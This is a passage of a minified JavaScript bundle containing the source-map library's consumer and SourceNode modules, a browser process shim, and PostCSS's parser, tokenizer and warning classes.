s&&r.isAbsolute(s)&&r.isAbsolute(e)?r.relative(s,e):e})),this._names=i.fromArray(l.map(String),!0),this._sources=i.fromArray(a,!0),this._absoluteSources=this._sources.toArray().map((function(e){return r.computeSourceURL(s,e,t)})),this.sourceRoot=s,this.sourcesContent=u,this._mappings=c,this._sourceMapURL=t,this.file=f}function c(){this.generatedLine=0,this.generatedColumn=0,this.source=null,this.originalLine=null,this.originalColumn=null,this.name=null}function f(e,t){var n=e;"string"==typeof e&&(n=r.parseSourceMapInput(e));var o=r.getArg(n,"version"),a=r.getArg(n,"sections");if(o!=this._version)throw new Error("Unsupported version: "+o);this._sources=new i,this._names=new i;var l={line:-1,column:0};this._sections=a.map((function(e){if(e.url)throw new Error("Support for url field in sections not implemented.");var n=r.getArg(e,"offset"),o=r.getArg(n,"line"),i=r.getArg(n,"column");if(o<l.line||o===l.line&&i<l.column)throw new Error("Section offsets must be ordered and non-overlapping.");return l=n,{generatedOffset:{generatedLine:o+1,generatedColumn:i+1},consumer:new s(r.getArg(e,"map"),t)}}))}s.fromSourceMap=function(e,t){return u.fromSourceMap(e,t)},s.prototype._version=3,s.prototype.__generatedMappings=null,Object.defineProperty(s.prototype,"_generatedMappings",{configurable:!0,enumerable:!0,get:function(){return this.__generatedMappings||this._parseMappings(this._mappings,this.sourceRoot),this.__generatedMappings}}),s.prototype.__originalMappings=null,Object.defineProperty(s.prototype,"_originalMappings",{configurable:!0,enumerable:!0,get:function(){return this.__originalMappings||this._parseMappings(this._mappings,this.sourceRoot),this.__originalMappings}}),s.prototype._charIsMappingSeparator=function(e,t){var n=e.charAt(t);return";"===n||","===n},s.prototype._parseMappings=function(e,t){throw new Error("Subclasses must implement _parseMappings")},s.GENERATED_ORDER=1,s.ORIGINAL_ORDER=2,s.GREATEST_LOWER_BOUND=1,s.LEAST_UPPER_BOUND=2,s.prototype.eachMapping=function(e,t,n){var o,i=t||null;switch(n||s.GENERATED_ORDER){case s.GENERATED_ORDER:o=this._generatedMappings;break;case s.ORIGINAL_ORDER:o=this._originalMappings;break;default:throw new Error("Unknown order of iteration.")}var a=this.sourceRoot;o.map((function(e){var t=null===e.source?null:this._sources.at(e.source);return{source:t=r.computeSourceURL(a,t,this._sourceMapURL),generatedLine:e.generatedLine,generatedColumn:e.generatedColumn,originalLine:e.originalLine,originalColumn:e.originalColumn,name:null===e.name?null:this._names.at(e.name)}}),this).forEach(e,i)},s.prototype.allGeneratedPositionsFor=function(e){var t=r.getArg(e,"line"),n={source:r.getArg(e,"source"),originalLine:t,originalColumn:r.getArg(e,"column",0)};if(n.source=this._findSourceIndex(n.source),n.source<0)return[];var i=[],a=this._findMapping(n,this._originalMappings,"originalLine","originalColumn",r.compareByOriginalPositions,o.LEAST_UPPER_BOUND);if(a>=0){var l=this._originalMappings[a];if(void 0===e.column)for(var s=l.originalLine;l&&l.originalLine===s;)i.push({line:r.getArg(l,"generatedLine",null),column:r.getArg(l,"generatedColumn",null),lastColumn:r.getArg(l,"lastGeneratedColumn",null)}),l=this._originalMappings[++a];else for(var u=l.originalColumn;l&&l.originalLine===t&&l.originalColumn==u;)i.push({line:r.getArg(l,"generatedLine",null),column:r.getArg(l,"generatedColumn",null),lastColumn:r.getArg(l,"lastGeneratedColumn",null)}),l=this._originalMappings[++a]}return i},t.SourceMapConsumer=s,u.prototype=Object.create(s.prototype),u.prototype.consumer=s,u.prototype._findSourceIndex=function(e){var t,n=e;if(null!=this.sourceRoot&&(n=r.relative(this.sourceRoot,n)),this._sources.has(n))return this._sources.indexOf(n);for(t=0;t<this._absoluteSources.length;++t)if(this._absoluteSources[t]==e)return t;return-1},u.fromSourceMap=function(e,t){var n=Object.create(u.prototype),o=n._names=i.fromArray(e._names.toArray(),!0),a=n._sources=i.fromArray(e._sources.toArray(),!0);n.sourceRoot=e._sourceRoot,n.sourcesContent=e._generateSourcesContent(n._sources.toArray(),n.sourceRoot),n.file=e._file,n._sourceMapURL=t,n._absoluteSources=n._sources.toArray().map((function(e){return r.computeSourceURL(n.sourceRoot,e,t)}));for(var s=e._mappings.toArray().slice(),f=n.__generatedMappings=[],d=n.__originalMappings=[],p=0,h=s.length;p<h;p++){var m=s[p],g=new c;g.generatedLine=m.generatedLine,g.generatedColumn=m.generatedColumn,m.source&&(g.source=a.indexOf(m.source),g.originalLine=m.originalLine,g.originalColumn=m.originalColumn,m.name&&(g.name=o.indexOf(m.name)),d.push(g)),f.push(g)}return l(n.__originalMappings,r.compareByOriginalPositions),n},u.prototype._version=3,Object.defineProperty(u.prototype,"sources",{get:function(){return this._absoluteSources.slice()}}),u.prototype._parseMappings=function(e,t){for(var n,o,i,s,u,f=1,d=0,p=0,h=0,m=0,g=0,v=e.length,y=0,b={},w={},E=[],S=[];y<v;)if(";"===e.charAt(y))f++,y++,d=0;else if(","===e.charAt(y))y++;else{for((n=new c).generatedLine=f,s=y;s<v&&!this._charIsMappingSeparator(e,s);s++);if(i=b[o=e.slice(y,s)])y+=o.length;else{for(i=[];y<s;)a.decode(e,y,w),u=w.value,y=w.rest,i.push(u);if(2===i.length)throw new Error("Found a source, but no line and column");if(3===i.length)throw new Error("Found a source and line, but no column");b[o]=i}n.generatedColumn=d+i[0],d=n.generatedColumn,i.length>1&&(n.source=m+i[1],m+=i[1],n.originalLine=p+i[2],p=n.originalLine,n.originalLine+=1,n.originalColumn=h+i[3],h=n.originalColumn,i.length>4&&(n.name=g+i[4],g+=i[4])),S.push(n),"number"==typeof n.originalLine&&E.push(n)}l(S,r.compareByGeneratedPositionsDeflated),this.__generatedMappings=S,l(E,r.compareByOriginalPositions),this.__originalMappings=E},u.prototype._findMapping=function(e,t,n,r,i,a){if(e[n]<=0)throw new TypeError("Line must be greater than or equal to 1, got "+e[n]);if(e[r]<0)throw new TypeError("Column must be greater than or equal to 0, got "+e[r]);return o.search(e,t,i,a)},u.prototype.computeColumnSpans=function(){for(var e=0;e<this._generatedMappings.length;++e){var t=this._generatedMappings[e];if(e+1<this._generatedMappings.length){var n=this._generatedMappings[e+1];if(t.generatedLine===n.generatedLine){t.lastGeneratedColumn=n.generatedColumn-1;continue}}t.lastGeneratedColumn=1/0}},u.prototype.originalPositionFor=function(e){var t={generatedLine:r.getArg(e,"line"),generatedColumn:r.getArg(e,"column")},n=this._findMapping(t,this._generatedMappings,"generatedLine","generatedColumn",r.compareByGeneratedPositionsDeflated,r.getArg(e,"bias",s.GREATEST_LOWER_BOUND));if(n>=0){var o=this._generatedMappings[n];if(o.generatedLine===t.generatedLine){var i=r.getArg(o,"source",null);null!==i&&(i=this._sources.at(i),i=r.computeSourceURL(this.sourceRoot,i,this._sourceMapURL));var a=r.getArg(o,"name",null);return null!==a&&(a=this._names.at(a)),{source:i,line:r.getArg(o,"originalLine",null),column:r.getArg(o,"originalColumn",null),name:a}}}return{source:null,line:null,column:null,name:null}},u.prototype.hasContentsOfAllSources=function(){return!!this.sourcesContent&&(this.sourcesContent.length>=this._sources.size()&&!this.sourcesContent.some((function(e){return null==e})))},u.prototype.sourceContentFor=function(e,t){if(!this.sourcesContent)return null;var n=this._findSourceIndex(e);if(n>=0)return this.sourcesContent[n];var o,i=e;if(null!=this.sourceRoot&&(i=r.relative(this.sourceRoot,i)),null!=this.sourceRoot&&(o=r.urlParse(this.sourceRoot))){var a=i.replace(/^file:\/\//,"");if("file"==o.scheme&&this._sources.has(a))return this.sourcesContent[this._sources.indexOf(a)];if((!o.path||"/"==o.path)&&this._sources.has("/"+i))return this.sourcesContent[this._sources.indexOf("/"+i)]}if(t)return null;throw new Error('"'+i+'" is not in the SourceMap.')},u.prototype.generatedPositionFor=function(e){var t=r.getArg(e,"source");if((t=this._findSourceIndex(t))<0)return{line:null,column:null,lastColumn:null};var n={source:t,originalLine:r.getArg(e,"line"),originalColumn:r.getArg(e,"column")},o=this._findMapping(n,this._originalMappings,"originalLine","originalColumn",r.compareByOriginalPositions,r.getArg(e,"bias",s.GREATEST_LOWER_BOUND));if(o>=0){var i=this._originalMappings[o];if(i.source===n.source)return{line:r.getArg(i,"generatedLine",null),column:r.getArg(i,"generatedColumn",null),lastColumn:r.getArg(i,"lastGeneratedColumn",null)}}return{line:null,column:null,lastColumn:null}},t.BasicSourceMapConsumer=u,f.prototype=Object.create(s.prototype),f.prototype.constructor=s,f.prototype._version=3,Object.defineProperty(f.prototype,"sources",{get:function(){for(var e=[],t=0;t<this._sections.length;t++)for(var n=0;n<this._sections[t].consumer.sources.length;n++)e.push(this._sections[t].consumer.sources[n]);return e}}),f.prototype.originalPositionFor=function(e){var t={generatedLine:r.getArg(e,"line"),generatedColumn:r.getArg(e,"column")},n=o.search(t,this._sections,(function(e,t){var n=e.generatedLine-t.generatedOffset.generatedLine;return n||e.generatedColumn-t.generatedOffset.generatedColumn})),i=this._sections[n];return i?i.consumer.originalPositionFor({line:t.generatedLine-(i.generatedOffset.generatedLine-1),column:t.generatedColumn-(i.generatedOffset.generatedLine===t.generatedLine?i.generatedOffset.generatedColumn-1:0),bias:e.bias}):{source:null,line:null,column:null,name:null}},f.prototype.hasContentsOfAllSources=function(){return this._sections.every((function(e){return e.consumer.hasContentsOfAllSources()}))},f.prototype.sourceContentFor=function(e,t){for(var n=0;n<this._sections.length;n++){var r=this._sections[n].consumer.sourceContentFor(e,!0);if(r)return r}if(t)return null;throw new Error('"'+e+'" is not in the SourceMap.')},f.prototype.generatedPositionFor=function(e){for(var t=0;t<this._sections.length;t++){var n=this._sections[t];if(-1!==n.consumer._findSourceIndex(r.getArg(e,"source"))){var o=n.consumer.generatedPositionFor(e);if(o)return{line:o.line+(n.generatedOffset.generatedLine-1),column:o.column+(n.generatedOffset.generatedLine===o.line?n.generatedOffset.generatedColumn-1:0)}}}return{line:null,column:null}},f.prototype._parseMappings=function(e,t){this.__generatedMappings=[],this.__originalMappings=[];for(var n=0;n<this._sections.length;n++)for(var o=this._sections[n],i=o.consumer._generatedMappings,a=0;a<i.length;a++){var s=i[a],u=o.consumer._sources.at(s.source);u=r.computeSourceURL(o.consumer.sourceRoot,u,this._sourceMapURL),this._sources.add(u),u=this._sources.indexOf(u);var c=null;s.name&&(c=o.consumer._names.at(s.name),this._names.add(c),c=this._names.indexOf(c));var f={source:u,generatedLine:s.generatedLine+(o.generatedOffset.generatedLine-1),generatedColumn:s.generatedColumn+(o.generatedOffset.generatedLine===s.generatedLine?o.generatedOffset.generatedColumn-1:0),originalLine:s.originalLine,originalColumn:s.originalColumn,name:c};this.__generatedMappings.push(f),"number"==typeof f.originalLine&&this.__originalMappings.push(f)}l(this.__generatedMappings,r.compareByGeneratedPositionsDeflated),l(this.__originalMappings,r.compareByOriginalPositions)},t.IndexedSourceMapConsumer=f},function(e,t){t.GREATEST_LOWER_BOUND=1,t.LEAST_UPPER_BOUND=2,t.search=function(e,n,r,o){if(0===n.length)return-1;var i=function e(n,r,o,i,a,l){var s=Math.floor((r-n)/2)+n,u=a(o,i[s],!0);return 0===u?s:u>0?r-s>1?e(s,r,o,i,a,l):l==t.LEAST_UPPER_BOUND?r<i.length?r:-1:s:s-n>1?e(n,s,o,i,a,l):l==t.LEAST_UPPER_BOUND?s:n<0?-1:n}(-1,n.length,e,n,r,o||t.GREATEST_LOWER_BOUND);if(i<0)return-1;for(;i-1>=0&&0===r(n[i],n[i-1],!0);)--i;return i}},function(e,t){function n(e,t,n){var r=e[t];e[t]=e[n],e[n]=r}function r(e,t,o,i){if(o<i){var a=o-1;n(e,(c=o,f=i,Math.round(c+Math.random()*(f-c))),i);for(var l=e[i],s=o;s<i;s++)t(e[s],l)<=0&&n(e,a+=1,s);n(e,a+1,s);var u=a+1;r(e,t,o,u-1),r(e,t,u+1,i)}var c,f}t.quickSort=function(e,t){r(e,t,0,e.length-1)}},function(e,t,n){var r=n(305).SourceMapGenerator,o=n(120),i=/(\r?\n)/,a="$$$isSourceNode$$$";function l(e,t,n,r,o){this.children=[],this.sourceContents={},this.line=null==e?null:e,this.column=null==t?null:t,this.source=null==n?null:n,this.name=null==o?null:o,this[a]=!0,null!=r&&this.add(r)}l.fromStringWithSourceMap=function(e,t,n){var r=new l,a=e.split(i),s=0,u=function(){return e()+(e()||"");function e(){return s<a.length?a[s++]:void 0}},c=1,f=0,d=null;return t.eachMapping((function(e){if(null!==d){if(!(c<e.generatedLine)){var t=(n=a[s]||"").substr(0,e.generatedColumn-f);return a[s]=n.substr(e.generatedColumn-f),f=e.generatedColumn,p(d,t),void(d=e)}p(d,u()),c++,f=0}for(;c<e.generatedLine;)r.add(u()),c++;if(f<e.generatedColumn){var n=a[s]||"";r.add(n.substr(0,e.generatedColumn)),a[s]=n.substr(e.generatedColumn),f=e.generatedColumn}d=e}),this),s<a.length&&(d&&p(d,u()),r.add(a.splice(s).join(""))),t.sources.forEach((function(e){var i=t.sourceContentFor(e);null!=i&&(null!=n&&(e=o.join(n,e)),r.setSourceContent(e,i))})),r;function p(e,t){if(null===e||void 0===e.source)r.add(t);else{var i=n?o.join(n,e.source):e.source;r.add(new l(e.originalLine,e.originalColumn,i,t,e.name))}}},l.prototype.add=function(e){if(Array.isArray(e))e.forEach((function(e){this.add(e)}),this);else{if(!e[a]&&"string"!=typeof e)throw new TypeError("Expected a SourceNode, string, or an array of SourceNodes and strings. Got "+e);e&&this.children.push(e)}return this},l.prototype.prepend=function(e){if(Array.isArray(e))for(var t=e.length-1;t>=0;t--)this.prepend(e[t]);else{if(!e[a]&&"string"!=typeof e)throw new TypeError("Expected a SourceNode, string, or an array of SourceNodes and strings. Got "+e);this.children.unshift(e)}return this},l.prototype.walk=function(e){for(var t,n=0,r=this.children.length;n<r;n++)(t=this.children[n])[a]?t.walk(e):""!==t&&e(t,{source:this.source,line:this.line,column:this.column,name:this.name})},l.prototype.join=function(e){var t,n,r=this.children.length;if(r>0){for(t=[],n=0;n<r-1;n++)t.push(this.children[n]),t.push(e);t.push(this.children[n]),this.children=t}return this},l.prototype.replaceRight=function(e,t){var n=this.children[this.children.length-1];return n[a]?n.replaceRight(e,t):"string"==typeof n?this.children[this.children.length-1]=n.replace(e,t):this.children.push("".replace(e,t)),this},l.prototype.setSourceContent=function(e,t){this.sourceContents[o.toSetString(e)]=t},l.prototype.walkSourceContents=function(e){for(var t=0,n=this.children.length;t<n;t++)this.children[t][a]&&this.children[t].walkSourceContents(e);var r=Object.keys(this.sourceContents);for(t=0,n=r.length;t<n;t++)e(o.fromSetString(r[t]),this.sourceContents[r[t]])},l.prototype.toString=function(){var e="";return this.walk((function(t){e+=t})),e},l.prototype.toStringWithSourceMap=function(e){var t={code:"",line:1,column:0},n=new r(e),o=!1,i=null,a=null,l=null,s=null;return this.walk((function(e,r){t.code+=e,null!==r.source&&null!==r.line&&null!==r.column?(i===r.source&&a===r.line&&l===r.column&&s===r.name||n.addMapping({source:r.source,original:{line:r.line,column:r.column},generated:{line:t.line,column:t.column},name:r.name}),i=r.source,a=r.line,l=r.column,s=r.name,o=!0):o&&(n.addMapping({generated:{line:t.line,column:t.column}}),i=null,o=!1);for(var u=0,c=e.length;u<c;u++)10===e.charCodeAt(u)?(t.line++,t.column=0,u+1===c?(i=null,o=!1):o&&n.addMapping({source:r.source,original:{line:r.line,column:r.column},generated:{line:t.line,column:t.column},name:r.name})):t.column++})),this.walkSourceContents((function(e,t){n.setSourceContent(e,t)})),{code:t.code,map:n}},t.SourceNode=l},function(e,t){var n,r,o=e.exports={};function i(){throw new Error("setTimeout has not been defined")}function a(){throw new Error("clearTimeout has not been defined")}function l(e){if(n===setTimeout)return setTimeout(e,0);if((n===i||!n)&&setTimeout)return n=setTimeout,setTimeout(e,0);try{return n(e,0)}catch(t){try{return n.call(null,e,0)}catch(t){return n.call(this,e,0)}}}!function(){try{n="function"==typeof setTimeout?setTimeout:i}catch(e){n=i}try{r="function"==typeof clearTimeout?clearTimeout:a}catch(e){r=a}}();var s,u=[],c=!1,f=-1;function d(){c&&s&&(c=!1,s.length?u=s.concat(u):f=-1,u.length&&p())}function p(){if(!c){var e=l(d);c=!0;for(var t=u.length;t;){for(s=u,u=[];++f<t;)s&&s[f].run();f=-1,t=u.length}s=null,c=!1,function(e){if(r===clearTimeout)return clearTimeout(e);if((r===a||!r)&&clearTimeout)return r=clearTimeout,clearTimeout(e);try{r(e)}catch(t){try{return r.call(null,e)}catch(t){return r.call(this,e)}}}(e)}}function h(e,t){this.fun=e,this.array=t}function m(){}o.nextTick=function(e){var t=new Array(arguments.length-1);if(arguments.length>1)for(var n=1;n<arguments.length;n++)t[n-1]=arguments[n];u.push(new h(e,t)),1!==u.length||c||l(p)},h.prototype.run=function(){this.fun.apply(null,this.array)},o.title="browser",o.browser=!0,o.env={},o.argv=[],o.version="",o.versions={},o.on=m,o.addListener=m,o.once=m,o.off=m,o.removeListener=m,o.removeAllListeners=m,o.emit=m,o.prependListener=m,o.prependOnceListener=m,o.listeners=function(e){return[]},o.binding=function(e){throw new Error("process.binding is not supported")},o.cwd=function(){return"/"},o.chdir=function(e){throw new Error("process.chdir is not supported")},o.umask=function(){return 0}},function(e,t,n){"use strict";t.__esModule=!0,t.default=function(e){if(r[e])return;r[e]=!0,"undefined"!=typeof console&&console.warn&&console.warn(e)};var r={};e.exports=t.default},function(e,t,n){"use strict";t.__esModule=!0,t.default=void 0;var r,o=(r=n(1171))&&r.__esModule?r:{default:r};function i(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}var a=function(){function e(e,t,n){this.processor=e,this.messages=[],this.root=t,this.opts=n,this.css=void 0,this.map=void 0}var t,n,r,a=e.prototype;return a.toString=function(){return this.css},a.warn=function(e,t){void 0===t&&(t={}),t.plugin||this.lastPlugin&&this.lastPlugin.postcssPlugin&&(t.plugin=this.lastPlugin.postcssPlugin);var n=new o.default(e,t);return this.messages.push(n),n},a.warnings=function(){return this.messages.filter((function(e){return"warning"===e.type}))},t=e,(n=[{key:"content",get:function(){return this.css}}])&&i(t.prototype,n),r&&i(t,r),e}();t.default=a,e.exports=t.default},function(e,t,n){"use strict";t.__esModule=!0,t.default=void 0;var r=function(){function e(e,t){if(void 0===t&&(t={}),this.type="warning",this.text=e,t.node&&t.node.source){var n=t.node.positionBy(t);this.line=n.line,this.column=n.column}for(var r in t)this[r]=t[r]}return e.prototype.toString=function(){return this.node?this.node.error(this.text,{plugin:this.plugin,index:this.index,word:this.word}).message:this.plugin?this.plugin+": "+this.text:this.text},e}();t.default=r,e.exports=t.default},function(e,t,n){"use strict";t.__esModule=!0,t.default=void 0;var r=u(n(200)),o=u(n(1173)),i=u(n(205)),a=u(n(206)),l=u(n(309)),s=u(n(208));function u(e){return e&&e.__esModule?e:{default:e}}var c=function(){function e(e){this.input=e,this.root=new l.default,this.current=this.root,this.spaces="",this.semicolon=!1,this.createTokenizer(),this.root.source={input:e,start:{line:1,column:1}}}var t=e.prototype;return t.createTokenizer=function(){this.tokenizer=(0,o.default)(this.input)},t.parse=function(){for(var e;!this.tokenizer.endOfFile();)switch((e=this.tokenizer.nextToken())[0]){case"space":this.spaces+=e[1];break;case";":this.freeSemicolon(e);break;case"}":this.end(e);break;case"comment":this.comment(e);break;case"at-word":this.atrule(e);break;case"{":this.emptyRule(e);break;default:this.other(e)}this.endFile()},t.comment=function(e){var t=new i.default;this.init(t,e[2],e[3]),t.source.end={line:e[4],column:e[5]};var n=e[1].slice(2,-2);if(/^\s*$/.test(n))t.text="",t.raws.left=n,t.raws.right="";else{var r=n.match(/^(\s*)([^]*[^\s])(\s*)$/);t.text=r[2],t.raws.left=r[1],t.raws.right=r[3]}},t.emptyRule=function(e){var t=new s.default;this.init(t,e[2],e[3]),t.selector="",t.raws.between="",this.current=t},t.other=function(e){for(var t=!1,n=null,r=!1,o=null,i=[],a=[],l=e;l;){if(n=l[0],a.push(l),"("===n||"["===n)o||(o=l),i.push("("===n?")":"]");else if(0===i.length){if(";"===n){if(r)return void this.decl(a);break}if("{"===n)return void this.rule(a);if("}"===n){this.tokenizer.back(a.pop()),t=!0;break}":"===n&&(r=!0)}else n===i[i.length-1]&&(i.pop(),0===i.length&&(o=null));l=this.tokenizer.nextToken()}if(this.tokenizer.endOfFile()&&(t=!0),i.length>0&&this.unclosedBracket(o),t&&r){for(;a.length&&("space"===(l=a[a.length-1][0])||"comment"===l);)this.tokenizer.back(a.pop());this.decl(a)}else this.unknownWord(a)},t.rule=function(e){e.pop();var t=new s.default;this.init(t,e[0][2],e[0][3]),t.raws.between=this.spacesAndCommentsFromEnd(e),this.raw(t,"selector",e),this.current=t},t.decl=function(e){var t=new r.default;this.init(t);var n,o=e[e.length-1];for(";"===o[0]&&(this.semicolon=!0,e.pop()),o[4]?t.source.end={line:o[4],column:o[5]}:t.source.end={line:o[2],column:o[3]};"word"!==e[0][0];)1===e.length&&this.unknownWord(e),t.raws.before+=e.shift()[1];for(t.source.start={line:e[0][2],column:e[0][3]},t.prop="";e.length;){var i=e[0][0];if(":"===i||"space"===i||"comment"===i)break;t.prop+=e.shift()[1]}for(t.raws.between="";e.length;){if(":"===(n=e.shift())[0]){t.raws.between+=n[1];break}"word"===n[0]&&/\w/.test(n[1])&&this.unknownWord([n]),t.raws.between+=n[1]}"_"!==t.prop[0]&&"*"!==t.prop[0]||(t.raws.before+=t.prop[0],t.prop=t.prop.slice(1)),t.raws.between+=this.spacesAndCommentsFromStart(e),this.precheckMissedSemicolon(e);for(var a=e.length-1;a>0;a--){if("!important"===(n=e[a])[1].toLowerCase()){t.important=!0;var l=this.stringFrom(e,a);" !important"!==(l=this.spacesFromEnd(e)+l)&&(t.raws.important=l);break}if("important"===n[1].toLowerCase()){for(var s=e.slice(0),u="",c=a;c>0;c--){var f=s[c][0];if(0===u.trim().indexOf("!")&&"space"!==f)break;u=s.pop()[1]+u}0===u.trim().indexOf("!")&&(t.important=!0,t.raws.important=u,e=s)}if("space"!==n[0]&&"comment"!==n[0])break}this.raw(t,"value",e),-1!==t.value.indexOf(":")&&this.checkMissedSemicolon(e)},t.atrule=function(e){var t,n,r=new a.default;r.name=e[1].slice(1),""===r.name&&this.unnamedAtrule(r,e),this.init(r,e[2],e[3]);for(var o=!1,i=!1,l=[];!this.tokenizer.endOfFile();){if(";"===(e=this.tokenizer.nextToken())[0]){r.source.end={line:e[2],column:e[3]},this.semicolon=!0;break}if("{"===e[0]){i=!0;break}if("}"===e[0]){if(l.length>0){for(t=l[n=l.length-1];t&&"space"===t[0];)t=l[--n];t&&(r.source.end={line:t[4],column:t[5]})}this.end(e);break}if(l.push(e),this.tokenizer.endOfFile()){o=!0;break}}r.raws.between=this.spacesAndCommentsFromEnd(l),l.length?(r.raws.afterName=this.spacesAndCommentsFromStart(l),this.raw(r,"params",l),o&&(e=l[l.length-1],r.source.end={line:e[4],column:e[5]},this.spaces=r.raws.between,r.raws.between="")):(r.raws.afterName="",r.params=""),i&&(r.nodes=[],this.current=r)},t.end=function(e){this.current.nodes&&this.current.nodes.length&&(this.current.raws.semicolon=this.semicolon),this.semicolon=!1,this.current.raws.after=(this.current.raws.after||"")+this.spaces,this.spaces="",this.current.parent?(this.current.source.end={line:e[2],column:e[3]},this.current=this.current.parent):this.unexpectedClose(e)},t.endFile=function(){this.current.parent&&this.unclosedBlock(),this.current.nodes&&this.current.nodes.length&&(this.current.raws.semicolon=this.semicolon),this.current.raws.after=(this.current.raws.after||"")+this.spaces},t.freeSemicolon=function(e){if(this.spaces+=e[1],this.current.nodes){var t=this.current.nodes[this.current.nodes.length-1];t&&"rule"===t.type&&!t.raws.ownSemicolon&&(t.raws.ownSemicolon=this.spaces,this.spaces="")}},t.init=function(e,t,n){this.current.push(e),e.source={start:{line:t,column:n},input:this.input},e.raws.before=this.spaces,this.spaces="","comment"!==e.type&&(this.semicolon=!1)},t.raw=function(e,t,n){for(var r,o,i,a,l=n.length,s="",u=!0,c=/^([.|#])?([\w])+/i,f=0;f<l;f+=1)"comment"!==(o=(r=n[f])[0])||"rule"!==e.type?"comment"===o||"space"===o&&f===l-1?u=!1:s+=r[1]:(a=n[f-1],i=n[f+1],"space"!==a[0]&&"space"!==i[0]&&c.test(a[1])&&c.test(i[1])?s+=r[1]:u=!1);if(!u){var d=n.reduce((function(e,t){return e+t[1]}),"");e.raws[t]={value:s,raw:d}}e[t]=s},t.spacesAndCommentsFromEnd=function(e){for(var t,n="";e.length&&("space"===(t=e[e.length-1][0])||"comment"===t);)n=e.pop()[1]+n;return n},t.spacesAndCommentsFromStart=function(e){for(var t,n="";e.length&&("space"===(t=e[0][0])||"comment"===t);)n+=e.shift()[1];return n},t.spacesFromEnd=function(e){for(var t="";e.length&&"space"===e[e.length-1][0];)t=e.pop()[1]+t;return t},t.stringFrom=function(e,t){for(var n="",r=t;r<e.length;r++)n+=e[r][1];return e.splice(t,e.length-t),n},t.colon=function(e){for(var t,n,r,o=0,i=0;i<e.length;i++){if("("===(n=(t=e[i])[0])&&(o+=1),")"===n&&(o-=1),0===o&&":"===n){if(r){if("word"===r[0]&&"progid"===r[1])continue;return i}this.doubleColon(t)}r=t}return!1},t.unclosedBracket=function(e){throw this.input.error("Unclosed bracket",e[2],e[3])},t.unknownWord=function(e){throw this.input.error("Unknown word",e[0][2],e[0][3])},t.unexpectedClose=function(e){throw this.input.error("Unexpected }",e[2],e[3])},t.unclosedBlock=function(){var e=this.current.source.start;throw this.input.error("Unclosed block",e.line,e.column)},t.doubleColon=function(e){throw this.input.error("Double colon",e[2],e[3])},t.unnamedAtrule=function(e,t){throw this.input.error("At-rule without name",t[2],t[3])},t.precheckMissedSemicolon=function(){},t.checkMissedSemicolon=function(e){var t=this.colon(e);if(!1!==t){for(var n,r=0,o=t-1;o>=0&&("space"===(n=e[o])[0]||2!==(r+=1));o--);throw this.input.error("Missed semicolon",n[2],n[3])}},e}();t.default=c,e.exports=t.default},function(e,t,n){"use strict";t.__esModule=!0,t.default=function(e,t){void 0===t&&(t={});var n,A,_,T,k,P,M,R,j,L,I,N,D,F,B=e.css.valueOf(),H=t.ignoreErrors,V=B.length,z=-1,U=1,G=0,W=[],q=[];function Z(t){throw e.error("Unclosed "+t,U,G-z)}return{back:function(e){q.push(e)},nextToken:function(e){if(q.length)return q.pop();if(!(G>=V)){var t=!!e&&e.ignoreUnclosed;switch(((n=B.charCodeAt(G))===l||n===u||n===f&&B.charCodeAt(G+1)!==l)&&(z=G,U+=1),n){case l:case s:case c:case f:case u:A=G;do{A+=1,(n=B.charCodeAt(A))===l&&(z=A,U+=1)}while(n===s||n===l||n===c||n===f||n===u);F=["space",B.slice(G,A)],G=A-1;break;case d:case p:case g:case v:case w:case y:case m:var Y=String.fromCharCode(n);F=[Y,Y,U,G-z];break;case h:if(N=W.length?W.pop()[1]:"",D=B.charCodeAt(G+1),"url"===N&&D!==r&&D!==o&&D!==s&&D!==l&&D!==c&&D!==u&&D!==f){A=G;do{if(L=!1,-1===(A=B.indexOf(")",A+1))){if(H||t){A=G;break}Z("bracket")}for(I=A;B.charCodeAt(I-1)===i;)I-=1,L=!L}while(L);F=["brackets",B.slice(G,A+1),U,G-z,U,A-z],G=A}else A=B.indexOf(")",G+1),P=B.slice(G,A+1),-1===A||x.test(P)?F=["(","(",U,G-z]:(F=["brackets",P,U,G-z,U,A-z],G=A);break;case r:case o:_=n===r?"'":'"',A=G;do{if(L=!1,-1===(A=B.indexOf(_,A+1))){if(H||t){A=G+1;break}Z("string")}for(I=A;B.charCodeAt(I-1)===i;)I-=1,L=!L}while(L);P=B.slice(G,A+1),T=P.split("\n"),(k=T.length-1)>0?(R=U+k,j=A-T[k].length):(R=U,j=z),F=["string",B.slice(G,A+1),U,G-z,R,A-j],z=j,U=R,G=A;break;case E:S.lastIndex=G+1,S.test(B),A=0===S.lastIndex?B.length-1:S.lastIndex-2,F=["at-word",B.slice(G,A+1),U,G-z,U,A-z],G=A;break;case i:for(A=G,M=!0;B.charCodeAt(A+1)===i;)A+=1,M=!M;if(n=B.charCodeAt(A+1),M&&n!==a&&n!==s&&n!==l&&n!==c&&n!==f&&n!==u&&(A+=1,O.test(B.charAt(A)))){for(;O.test(B.charAt(A+1));)A+=1;B.charCodeAt(A+1)===s&&(A+=1)}F=["word",B.slice(G,A+1),U,G-z,U,A-z],G=A;break;default:n===a&&B.charCodeAt(G+1)===b?(0===(A=B.indexOf("*/",G+2)+1)&&(H||t?A=B.length:Z("comment")),P=B.slice(G,A+1),T=P.split("\n"),(k=T.length-1)>0?(R=U+k,j=A-T[k].length):(R=U,j=z),F=["comment",P,U,G-z,R,A-j],z=j,U=R,G=A):(C.lastIndex=G+1,C.test(B),A=0===C.lastIndex?B.length-1:C.lastIndex-2,F=["word",B.slice(G,A+1),U,G-z,U,A-z],W.push(F),G=A)}return G++,F}},endOfFile:function(){return 0===q.length&&G>=V},position:function(){return G}}};var r="'".charCodeAt(0),o='"'.charCodeAt(0),i="\\".charCodeAt(0),a="/".charCodeAt(0),l="\n".charCodeAt(0),s=" ".charCodeAt(0),u="\f".charCodeAt(0),c="\t".charCodeAt(0),f="\r".charCodeAt(0),d="[".charCodeAt(0),p="]".charCodeAt(0),h="(".charCodeAt(0),m=")".charCodeAt(0),g="{".charCodeAt(0),v="}".charCodeAt(0),y=";".charCodeAt(0),b="*".charCodeAt(0),w=":".charCodeAt(0),E="@".charCodeAt(0),S=/[ \n\t\r\f{}()'"\\;/[\]#]/g,C=/[ \n\t\r\f(){}:;@!'"\\\][#]|\/(?=\*)/g,x=/.[\\/("'\n]/,O=/[a-f0-9]/i;e.exports=t.default},function(e,t,n){"use strict";t.__esModule=!0,t.default=void 0;var r=a(n(203)),o=a(n(300)),i=a(n(1175));function a(e){return e&&e.__esModule?e:{default:e}}function 